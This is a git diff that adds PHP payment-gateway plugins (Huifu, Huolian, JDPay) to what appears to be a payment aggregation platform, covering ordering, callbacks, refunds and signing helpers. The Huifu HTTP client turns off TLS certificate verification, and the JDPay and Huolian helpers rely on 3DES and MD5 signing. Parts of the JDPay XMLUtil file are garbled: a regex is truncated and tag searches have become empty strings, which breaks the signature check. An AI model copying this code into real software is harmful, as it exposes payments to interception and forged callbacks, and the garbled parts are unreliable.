['type'=>'error','msg'=>'网银支付下单失败!'.$ex->getMessage()]; + } + } + + //数字人民币支付 + static public function ecny(){ + try{ + $code_url = self::addOrder('D_NATIVE'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'数字人民币下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require_once PAY_ROOT."inc/HuifuClient.php"; + $config_info = [ + 'sys_id' => $channel['appid'], + 'product_id' => $channel['appurl'], + 'merchant_private_key' => $channel['appsecret'], + 'huifu_public_key' => $channel['appkey'], + ]; + $client = new HuifuClient($config_info); + + $data = json_decode($_POST['resp_data'], true); + if(!$data)return ['type'=>'html','data'=>'no data']; + + if($client->checkNotifySign($_POST['resp_data'], $_POST['sign'])){ + if ($data['trans_stat'] == 'S') { + if($data['req_seq_id'] == TRADE_NO){ + $api_trade_no = $data['hf_seq_id']; + $bill_trade_no = $data['out_trans_id']; + if(isset($data['alipay_response'])){ + $buyer = $data['alipay_response']['buyer_id']; + }elseif(isset($data['wx_response'])){ + $buyer = $data['wx_response']['sub_openid']; + } + processNotify($order, $api_trade_no, $buyer, $bill_trade_no); + } + return ['type'=>'html','data'=>'RECV_ORD_ID_'.TRADE_NO]; + } + return ['type'=>'html','data'=>'resp_code fail']; + } + else { + return ['type'=>'html','data'=>'sign fail']; + } + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require_once PAY_ROOT."inc/HuifuClient.php"; + $config_info = [ + 'sys_id' => $channel['appid'], + 'product_id' => $channel['appurl'], + 'merchant_private_key' => $channel['appsecret'], + 'huifu_public_key' => $channel['appkey'], + ]; + $client = new HuifuClient($config_info); + + $param = [ + 'req_date' => date("Ymd"), + 'req_seq_id' => $order['refund_no'], + 'huifu_id' => $channel['appmchid']?$channel['appmchid']:$channel['appid'], + 'ord_amt' => $order['refundmoney'], + 'org_req_date' => substr($order['trade_no'], 0, 8), + 'org_req_seq_id' => $order['trade_no'] + ]; + try{ + $result = $client->requestApi('/v2/trade/payment/scanpay/refund', $param); + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + + if($result['resp_code'] == '00000000' || $result['resp_code'] == '00000100'){ + return ['code'=>0, 'trade_no'=>$result['hf_seq_id'], 'refund_fee'=>$result['ord_amt']]; + }else{ + return ['code'=>-1, 'msg'=>$result['resp_desc']]; + } + } + + //托管支付退款 + static public function refund_combine($order){ + global $channel, $conf; + if(empty($order))exit(); + + require_once PAY_ROOT."inc/HuifuClient.php"; + $config_info = [ + 'sys_id' => $channel['appid'], + 'product_id' => $channel['appurl'], + 'merchant_private_key' => $channel['appsecret'], + 'huifu_public_key' => $channel['appkey'], + ]; + $client = new HuifuClient($config_info); + + $param = [ + 'req_date' => date("Ymd"), + 'req_seq_id' => $order['refund_no'], + 'huifu_id' => $channel['appmchid']?$channel['appmchid']:$channel['appid'], + 'ord_amt' => $order['refundmoney'], + 'org_req_date' => substr($order['trade_no'], 0, 8), + 'org_req_seq_id' => $order['trade_no'] + ]; + try{ + $result = $client->requestApi('/v2/trade/hosting/payment/htRefund', $param); + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + + if($result['resp_code'] == '00000000' || $result['resp_code'] == '00000100'){ + return ['code'=>0, 'trade_no'=>$result['hf_seq_id'], 'refund_fee'=>$result['ord_amt']]; + }else{ + return ['code'=>-1, 'msg'=>$result['resp_desc']]; + } + } + +} \ No newline at end of file diff --git a/plugins/huifu/inc/HuifuClient.php b/plugins/huifu/inc/HuifuClient.php new file mode 100644 index 0000000..0cc94d8 --- /dev/null +++ b/plugins/huifu/inc/HuifuClient.php @@ -0,0 +1,230 @@ +sys_id = $config['sys_id']; + $this->product_id = $config['product_id']; + $this->merchant_private_key = $this->loadPrivateKey($config['merchant_private_key']); + $this->huifu_public_key = $this->loadPublicKey($config['huifu_public_key']); + } + + /** + * 请求API接口并解析返回数据 + */ + public function requestApi($path, $data) + { + $url = self::BASE_API_URL . $path; + $body = [ + 'sys_id' => $this->sys_id, + 'product_id' => $this->product_id, + 'data' => $data + ]; + $body['sign'] = $this->makeSign($data); + $response = $this->curlPost($url, $body); + $result = json_decode($response, true); + if (!$result || empty($result['data']) || empty($result['sign'])) { + throw new \Exception("接口返回数据解析失败"); + } + //print_r($result); + if (!$this->checkResponseSign($result['data'], $result['sign'])) { + throw new \Exception("接口返回数据验签失败"); + } + return $result['data']; + } + + /** + * 上传文件 + */ + public function upload($path, $data, $file_path, $file_name) + { + $url = self::BASE_API_URL . $path; + $body = [ + 'sys_id' => $this->sys_id, + 'product_id' => $this->product_id, + 'data' => $data + ]; + $file = new \CURLFile($file_path, '', $file_name); + $body['sign'] = $this->makeSign($data); + $response = $this->curlPost($url, $body, $file); + $result = json_decode($response, true); + if (!$result || empty($result['data'])) { + throw new \Exception("接口返回数据解析失败"); + } + return $result['data']; + } + + /** + * 发起POST请求 + * @param string $url 请求URL + * @param array $body POST数据 + * @param \CURLFile $file 上传文件 + * @return string + */ + private function curlPost($url, $body, $file = null) + { + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_TIMEOUT, 10); + curl_setopt($ch, CURLOPT_FAILONERROR, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_POST, true); + if ($file) { + $body['data'] = json_encode($body['data'], JSON_UNESCAPED_UNICODE); + $body['file'] = $file; + curl_setopt($ch, CURLOPT_POSTFIELDS, $body); + } else { + curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json; charset=utf-8']); + curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($body)); + } + $response = curl_exec($ch); + if (curl_errno($ch) > 0) { + $errmsg = curl_error($ch); + curl_close($ch); + throw new \Exception($errmsg, 0); + } + $httpStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + if ($httpStatusCode != 200) { + curl_close($ch); + throw new \Exception($response ? $response : 'http_code=' . $httpStatusCode, $httpStatusCode); + } + curl_close($ch); + return $response; + } + + /** + * 生成请求签名 + * @param array $params + * @return string + */ + private function makeSign($params) + { + $params = array_filter($params, function ($value) { + return $value !== null; + }); + ksort($params); + $content = json_encode($params, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); + return $this->rsaPrivateSign($content); + } + + /** + * 校验通知数据签名 + * @param string $data + * @param string $sign + * @return bool + */ + public function checkNotifySign($data, $sign) + { + if (empty($sign)) return false; + return $this->rsaPublicVerify($data, $sign); + } + + /** + * 校验返回数据签名 + * @param array $params + * @param string $sign + * @return bool + */ + private function checkResponseSign($params, $sign) + { + if (empty($sign)) return false; + ksort($params); + $content = json_encode($params, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); + return $this->rsaPublicVerify($content, $sign); + } + + /** + * 商户私钥签名 + * @param string $data 待签名字符串 + * @return string + */ + private function rsaPrivateSign($data) + { + openssl_sign($data, $signature, $this->merchant_private_key, OPENSSL_ALGO_SHA256); + return base64_encode($signature); + } + + /** + * 平台公钥验签 + * @param string $data 待验签字符串 + * @return bool + */ + private function rsaPublicVerify($data, $signature) + { + $result = openssl_verify($data, base64_decode($signature), $this->huifu_public_key, OPENSSL_ALGO_SHA256); + return $result === 1; + } + + /** + * 平台公钥加密 + * @param string $data 待加密字符串 + * @return string + */ + private function rsaPublicEncrypt($data) + { + openssl_public_encrypt($data, $encryptResult, $this->huifu_public_key, OPENSSL_PKCS1_PADDING); + return base64_encode($encryptResult); + } + + /** + * 加载汇付公钥 + */ + private function loadPublicKey($public_key) + { + $res = "-----BEGIN PUBLIC KEY-----\n" . + wordwrap($public_key, 64, "\n", true) . + "\n-----END PUBLIC KEY-----"; + $pubkeyid = openssl_get_publickey($res); + if (!$pubkeyid) { + throw new Exception('汇付公钥不正确'); + } + return $pubkeyid; + } + + /** + * 加载商户私钥 + */ + private function loadPrivateKey($private_key) + { + $res = "-----BEGIN PRIVATE KEY-----\n" . + wordwrap($private_key, 64, "\n", true) . + "\n-----END PRIVATE KEY-----"; + $prikeyid = openssl_get_privatekey($res); + if (!$prikeyid) { + throw new Exception('商户私钥不正确'); + } + return $prikeyid; + } +} diff --git a/plugins/huolian/huolian_plugin.php b/plugins/huolian/huolian_plugin.php new file mode 100644 index 0000000..8208861 --- /dev/null +++ b/plugins/huolian/huolian_plugin.php @@ -0,0 +1,375 @@ + 'huolian', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '火脸支付', //支付插件显示名称 + 'author' => '火脸', //支付插件作者 + 'link' => 'https://www.lianok.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '对接商授权编号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '对接商MD5加密盐', + 'type' => 'input', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '商户ID', + 'type' => 'input', + 'note' => '', + ], + 'appurl' => [ + 'name' => '收银员手机号', + 'type' => 'input', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '退款密码(管理密码)', + 'type' => 'input', + 'note' => '如不需要退款功能可留空', + ], + ], + 'select' => null, + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($order['typename']=='wxpay'){ + if(checkmobile() && $channel['appwxa']>0){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice, $method; + + if($method == 'wxplugin'){ + return self::wxplugin(); + } + elseif($method == 'app'){ + return self::wxapppay(); + } + elseif($order['typename']=='alipay'){ + return self::alipay(); + }elseif($order['typename']=='wxpay'){ + if($device=='mobile' && $channel['appwxa']>0){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //聚合支付 + static private function addOrder($pay_type){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require_once(PAY_ROOT.'inc/HuolianClient.class.php'); + + $params = [ + 'businessOrderNo' => TRADE_NO, + 'payAmount' => $order['realmoney'], + 'merchantNo' => $channel['appmchid'], + 'operatorAccount' => $channel['appurl'], + 'notifyUrl' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'subject' => $ordername, + 'payWay' => $pay_type, + 'clientIp' => $clientip, + ]; + if(checkwechat())$params['callBackUrl'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + + $client = new HuolianClient($channel['appid'], $channel['appkey']); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $params) { + $result = $client->execute('api.hl.order.pay.unified', $params); + \lib\Payment::updateOrder(TRADE_NO, $result['orderNo']); + return $result['payUrl']; + }); + } + + //原生支付预下单 + static private function prepay($pay_type){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require_once(PAY_ROOT.'inc/HuolianClient.class.php'); + + $params = [ + 'businessOrderNo' => TRADE_NO, + 'payAmount' => $order['realmoney'], + 'merchantNo' => $channel['appmchid'], + 'operatorAccount' => $channel['appurl'], + 'notifyUrl' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'subject' => $ordername, + 'payWay' => $pay_type, + 'clientIp' => $clientip, + ]; + if(checkwechat())$params['callBackUrl'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + + $client = new HuolianClient($channel['appid'], $channel['appkey']); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $params) { + $result = $client->execute('api.hl.order.pay.native', $params); + \lib\Payment::updateOrder(TRADE_NO, $result['orderNo']); + return $result['qrCodeUrl']; + }); + } + + //微信小程序支付 + static private function wechat_applet($appid, $openid = null){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require_once(PAY_ROOT.'inc/HuolianClient.class.php'); + + $params = [ + 'businessOrderNo' => TRADE_NO, + 'payAmount' => $order['realmoney'], + 'merchantNo' => $channel['appmchid'], + 'operatorAccount' => $channel['appurl'], + 'notifyUrl' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'subject' => $ordername, + 'payWay' => 'wechat', + 'appId' => $appid, + 'openId' => $openid, + 'clientIp' => $clientip, + ]; + + $client = new HuolianClient($channel['appid'], $channel['appkey']); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $params) { + $result = $client->execute('api.hl.order.pay.applet', $params); + \lib\Payment::updateOrder(TRADE_NO, $result['orderNo']); + return $result; + }); + } + + //微信小程序托管支付 + static private function wechat_applet_host(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require_once(PAY_ROOT.'inc/HuolianClient.class.php'); + + $params = [ + 'businessOrderNo' => TRADE_NO, + 'payAmount' => $order['realmoney'], + 'merchantNo' => $channel['appmchid'], + 'operatorAccount' => $channel['appurl'], + 'notifyUrl' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'subject' => $ordername, + 'payWay' => 'wechat', + 'clientIp' => $clientip, + ]; + + $client = new HuolianClient($channel['appid'], $channel['appkey']); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $params) { + $result = $client->execute('api.hl.order.pre.pay.applet', $params); + \lib\Payment::updateOrder(TRADE_NO, $result['orderNo']); + return $result; + }); + } + + //支付宝扫码支付 + static public function alipay(){ + try{ + $code_url = self::addOrder('alipay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + + //微信扫码支付 + static public function wxpay(){ + try{ + $code_url = self::addOrder('wechat'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if(checkwechat()){ + return ['type'=>'jump','url'=>$code_url]; + } elseif (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + try{ + $result = self::wechat_applet($wxinfo['appid'], $openid); + $jsApiParameters = $result['jsPayInfo']; + }catch(Exception $ex){ + exit('{"code":-1,"msg":"'.$ex->getMessage().'"}'); + } + + exit(json_encode(['code'=>0, 'data'=>json_decode($jsApiParameters, true)])); + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try{ + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + } + + //微信小程序插件支付 + static public function wxplugin(){ + $appId = 'wxf51d01cf670e28d3'; + try{ + $result = self::wechat_applet($appId); + $payinfo = ['appId'=>$appId, 'merchantNo'=>$result['merchantNo'], 'orderNo'=>$result['orderNo']]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'wxplugin','data'=>$payinfo]; + } + + //微信小程序托管支付 + static public function wxapppay(){ + try{ + $result = self::wechat_applet_host(); + $payinfo = ['appId'=>$result['appId'], 'miniProgramId'=>$result['miniProgramId'], 'path'=>$result['payPath']]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'wxapp','data'=>$payinfo]; + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::addOrder('cloud'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $json = file_get_contents('php://input'); + $arr = json_decode($json, true); + if(!$arr) exit; + + require_once(PAY_ROOT.'inc/HuolianClient.class.php'); + $client = new HuolianClient($channel['appid'], $channel['appkey']); + $verify_result = $client->verify($arr); + + if($verify_result){ + $data = json_decode($arr['respBody'], true); + if($data['orderStatus'] == 2){ + $out_trade_no = $data['businessOrderNo']; + $api_trade_no = $data['orderNo']; + $money = $data['payAmount']; + $buyer = $data['userId']; + + if ($out_trade_no == TRADE_NO) { + processNotify($order, $api_trade_no, $buyer); + } + return ['type'=>'html','data'=>'SUCCESS']; + }else{ + return ['type'=>'html','data'=>'status='.$data['orderStatus']]; + } + }else{ + return ['type'=>'html','data'=>'FAIL']; + } + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require_once(PAY_ROOT.'inc/HuolianClient.class.php'); + $client = new HuolianClient($channel['appid'], $channel['appkey']); + + $params = [ + 'orderNo' => $order['api_trade_no'], + 'businessRefundNo' => $order['refund_no'], + 'refundAmount' => $order['refundmoney'], + 'refundPassword' => $channel['appsecret'], + 'merchantNo' => $channel['appmchid'], + 'operatorAccount' => $channel['appurl'], + ]; + + try{ + $retData = $client->execute('api.hl.order.refund.operation', $params); + $result = ['code'=>0, 'trade_no'=>$retData['refundNo'], 'refund_fee'=>$retData['refundAmount']]; + }catch(Exception $e){ + $result = ['code'=>-1, 'msg'=>$e->getMessage()]; + } + return $result; + } + + //异步回调 + static public function complainnotify(){ + global $channel; + + $json = file_get_contents('php://input'); + $arr = json_decode($json, true); + if(!$arr) exit; + + if(substr($channel['appmchid'],0,1)=='['){ + $channel['appmchid'] = $arr['merchantNo']; + } + + $model = \lib\Complain\CommUtil::getModel($channel); + $model->refreshNewInfo($arr['huolianComplaintNo'], $arr['operateType']); + + return ['type'=>'html','data'=>'SUCCESS']; + } + +} \ No newline at end of file diff --git a/plugins/huolian/inc/HuolianClient.class.php b/plugins/huolian/inc/HuolianClient.class.php new file mode 100644 index 0000000..3b38359 --- /dev/null +++ b/plugins/huolian/inc/HuolianClient.class.php @@ -0,0 +1,111 @@ +authCode = $authCode; + $this->salt = $salt; + } + + //发起请求 + public function execute($resource, $params) + { + $params = array_filter($params, function($v){ + return $v!==null; + }); + $commonData = [ + 'authCode' => $this->authCode, + 'requestTime' => date('YmdHis'), + 'resource' => $resource, + 'versionNo' => '1' + ]; + $commonData['sign'] = $this->make_sign(array_merge($commonData, $params)); + $commonData['params'] = json_encode($params, JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE); + + $data = get_curl($this->gateway_url, json_encode($commonData, JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE), 0, 0, 0, 0, 0, ['Content-Type: application/json; charset=utf-8']); + + $result = json_decode($data, true); + + if(isset($result['code']) && $result['code']==0 && $result['status'] == 200){ + return $result['data']; + }else{ + throw new Exception($result['message']?$result['message']:'返回数据解析失败'); + } + } + + //上传文件 + public function upload($resource, $file_path, $file_name) + { + $params = [ + 'authCode' => $this->authCode, + 'requestTime' => date('YmdHis'), + 'resource' => $resource, + ]; + $params['sign'] = $this->make_sign($params); + $file_ext = pathinfo($file_name, PATHINFO_EXTENSION); + $mime_type = self::mime_content_type($file_ext); + if(empty($mime_type)) $mime_type = 'image/jpeg'; + $params['file'] = new \CURLFile($file_path, $mime_type, $file_name); + + $data = get_curl($this->upload_url, $params); + + $result = json_decode($data, true); + + if(isset($result['code']) && $result['code']==0){ + return $result['data']; + }else{ + throw new Exception($result['message']?$result['message']:'返回数据解析失败'); + } + } + + private static function mime_content_type($ext) + { + $mime_types = [ + 'png' => 'image/png', + 'jpe' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'jpg' => 'image/jpeg', + 'gif' => 'image/gif', + 'bmp' => 'image/bmp', + ]; + return $mime_types[$ext]; + } + + public function verify($param){ + if(!isset($param['sign'])) return false; + unset($param['code']); + unset($param['message']); + $sign = $this->make_sign($param); + return $sign === $param['sign']; + } + + private function make_sign($param){ + ksort($param); + $signstr = ''; + + foreach($param as $k => $v){ + if($k != "sign" && $v!==null){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr = strtolower($signstr); + $signstr .= $this->salt; + $sign = md5($signstr); + return $sign; + } +} \ No newline at end of file diff --git a/plugins/jdpay/inc/cert/wy_rsa_public_key.pem b/plugins/jdpay/inc/cert/wy_rsa_public_key.pem new file mode 100644 index 0000000..20de941 --- /dev/null +++ b/plugins/jdpay/inc/cert/wy_rsa_public_key.pem @@ -0,0 +1,6 @@ +-----BEGIN PUBLIC KEY----- +MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCKE5N2xm3NIrXON8Zj19GNtLZ8 +xwEQ6uDIyrS3S03UhgBJMkGl4msfq4Xuxv6XUAN7oU1XhV3/xtabr9rXto4Ke3d6 +WwNbxwXnK5LSgsQc1BhT5NcXHXpGBdt7P8NMez5qGieOKqHGvT0qvjyYnYA29a8Z +4wzNR7vAVHp36uD5RwIDAQAB +-----END PUBLIC KEY----- diff --git a/plugins/jdpay/inc/common/HttpUtils.php b/plugins/jdpay/inc/common/HttpUtils.php new file mode 100644 index 0000000..bcb0c53 --- /dev/null +++ b/plugins/jdpay/inc/common/HttpUtils.php @@ -0,0 +1,34 @@ +"; + //error_log("=========>sourceSignString:".$sourceSignString, 0); + $sha256SourceSignString = hash ( "sha256", $sourceSignString); + //error_log($sha256SourceSignString, 0); + //echo "sha256SourceSignString=".htmlspecialchars($sha256SourceSignString)."
    "; + return RSAUtils::encryptByPrivateKey ($sha256SourceSignString); + } + + public static function sign($params,$unSignKeyList) { + ksort($params); + $sourceSignString = SignUtil::signString ( $params, $unSignKeyList ); + //error_log($sourceSignString, 0); + $sha256SourceSignString = hash ( "sha256", $sourceSignString); + //error_log($sha256SourceSignString, 0); + return RSAUtils::encryptByPrivateKey ($sha256SourceSignString); + } + + public static function signString($data, $unSignKeyList) { + $linkStr=""; + $isFirst=true; + ksort($data); + foreach($data as $key=>$value){ + if($value=="" || in_array($key, $unSignKeyList)) continue; + $linkStr.=$key."=".$value."&"; + } + return substr($linkStr,0,-1); + } +} diff --git a/plugins/jdpay/inc/common/TDESUtil.php b/plugins/jdpay/inc/common/TDESUtil.php new file mode 100644 index 0000000..dd499f9 --- /dev/null +++ b/plugins/jdpay/inc/common/TDESUtil.php @@ -0,0 +1,59 @@ + + * 补位后 byte[] = 描述有效数据长度(int)的byte[]+原始数据byte[]+补位byte[] + * + * @param + * sourceData 元数据字符串 + * @return 返回3DES加密后的16进制表示的字符串 + */ + public static function encrypt2HexStr($keys, $sourceData) { + $length = strlen($sourceData); + $result = ''; + for($i = 0; $i < 4; $i ++) { + $shift = (4 - 1 - $i) * 8; + $result .= chr(($length >> $shift) & 0x000000FF); + } + $result .= $sourceData; + $add = 8 - ($length+4) % 8; + if($add>0){ + for($i=0; $i<$add; $i++){ + $result .= chr(0); + } + } + $desdata = self::encrypt( $result, $keys ); + return bin2hex( $desdata ); + } + + /** + * 3DES 解密 进行了补位的16进制表示的字符串数据 + * + * @return + * + */ + public static function decrypt4HexStr($keys, $data) { + $unDesResult = self::decrypt(hex2bin($data),$keys); + + $length=0; + for($i = 0; $i < 4; $i ++) { + $shift = (4 - 1 - $i) * 8; + $length += (ord($unDesResult[$i]) & 0x000000FF) << $shift; + } + $result = substr($unDesResult, 4, $length); + + return $result; + } + + // 加密算法 + public static function encrypt($input, $key) { + return openssl_encrypt($input, 'des-ede3', $key, OPENSSL_NO_PADDING, ""); + } + // 解密算法 + public static function decrypt($encrypted, $key) { + return openssl_decrypt($encrypted, 'des-ede3', $key, OPENSSL_NO_PADDING, ""); + } +} diff --git a/plugins/jdpay/inc/common/XMLUtil.php b/plugins/jdpay/inc/common/XMLUtil.php new file mode 100644 index 0000000..cec8caf --- /dev/null +++ b/plugins/jdpay/inc/common/XMLUtil.php @@ -0,0 +1,123 @@ +createElement("jdpay"); + $item = $dom->appendChild($item); + } + + foreach ($arr as $key=>$val){ + $itemx = $dom->createElement(is_string($key)?$key:"item"); + $itemx = $item->appendChild($itemx); + if (!is_array($val)){ + $text = $dom->createTextNode($val); + $text = $itemx->appendChild($text); + + }else { + XMLUtil::arrtoxml($val,$dom,$itemx); + } + } + return $dom; + } + + public static function xmlToString($dom){ + $xmlStr = $dom->saveXML(); + $xmlStr = str_replace("\r", "", $xmlStr); + $xmlStr = str_replace("\n", "", $xmlStr); + $xmlStr = str_replace("\t", "", $xmlStr); + $xmlStr = preg_replace("/>\s+<", $xmlStr); + $xmlStr = preg_replace("/\s+\/>/", "/>", $xmlStr); + $xmlStr = str_replace("=utf-8", "=UTF-8", $xmlStr); + return $xmlStr; + } + + public static function encryptReqXml($param){ + $dom = XMLUtil::arrtoxml($param); + $xmlStr = XMLUtil::xmlToString($dom); + //echo "源串:".htmlspecialchars($xmlStr)."
    "; + $sha256SourceSignString = hash("sha256", $xmlStr); + //echo "摘要:".$sha256SourceSignString."
    "; + $sign = RSAUtils::encryptByPrivateKey($sha256SourceSignString); + $rootDom = $dom->getElementsByTagName("jdpay"); + $signDom = $dom->createElement("sign"); + $signDom = $rootDom[0]->appendChild($signDom); + $signText = $dom->createTextNode($sign); + $signText = $signDom->appendChild($signText); + $data = XMLUtil::xmlToString($dom); + //echo "封装后:".htmlspecialchars($data)."
    "; + + $desKey = Confid_desKey; + $keys = base64_decode($desKey); + $encrypt = TDESUtil::encrypt2HexStr($keys, $data); + //echo "3DES后:".$encrypt."
    "; + $encrypt = base64_encode($encrypt); + //echo "base64后:".$encrypt."
    "; + $reqParam; + $reqParam["version"]=$param["version"]; + $reqParam["merchant"]=$param["merchant"]; + $reqParam["encrypt"]=$encrypt; + $reqDom = XMLUtil::arrtoxml($reqParam,0,0); + $reqXmlStr = XMLUtil::xmlToString($reqDom); + //echo htmlspecialchars($reqXmlStr)."
    "; + return $reqXmlStr; + } + + public static function decryptResXml($resultData,&$resData){ + $resultXml = simplexml_load_string($resultData); + $resultObj = json_decode(json_encode($resultXml),TRUE); + $encryptStr = $resultObj["encrypt"]; + $encryptStr=base64_decode($encryptStr); + $desKey = Confid_desKey; + $keys = base64_decode($desKey); + $reqBody = TDESUtil::decrypt4HexStr($keys, $encryptStr); + //echo "请求返回encrypt Des解密后:".$reqBody."\n"; + + $bodyXml = simplexml_load_string($reqBody); + //echo "请求返回encrypt Des解密后:".$bodyXml->saveXML()."\n"; + $resData = json_decode(json_encode($bodyXml),TRUE); + + $inputSign = $resData["sign"]; +// $bodyDom = XMLUtil::arrtoxml($bodyObj,0,0); +// $rootDom = $bodyDom->getElementsByTagName("jdpay"); +// $signNodelist = $rootDom[0]->getElementsByTagName("sign"); +// $rootDom[0]->removeChild($signNodelist[0]); + +// $reqBodyStr = XMLUtil::xmlToString($bodyDom); + + $startIndex = strpos($reqBody,""); + $endIndex = strpos($reqBody,""); + + if($startIndex!=false && $endIndex!=false){ + $xmls = substr($reqBody, 0,$startIndex); + $xmle = substr($reqBody,$endIndex+7,strlen($reqBody)); + $xml=$xmls.$xmle; + } + + //echo "本地摘要原串:".$xml."\n"; + $sha256SourceSignString = hash("sha256", $xml); + //echo "本地摘要:".$sha256SourceSignString."\n"; + + $decryptStr = RSAUtils::decryptByPublicKey($inputSign); + //echo "解密后摘要:".$decryptStr."\n"; + if($decryptStr==$sha256SourceSignString){ + //echo "验签成功
    "; + $flag=true; + }else{ + //echo "验签失败
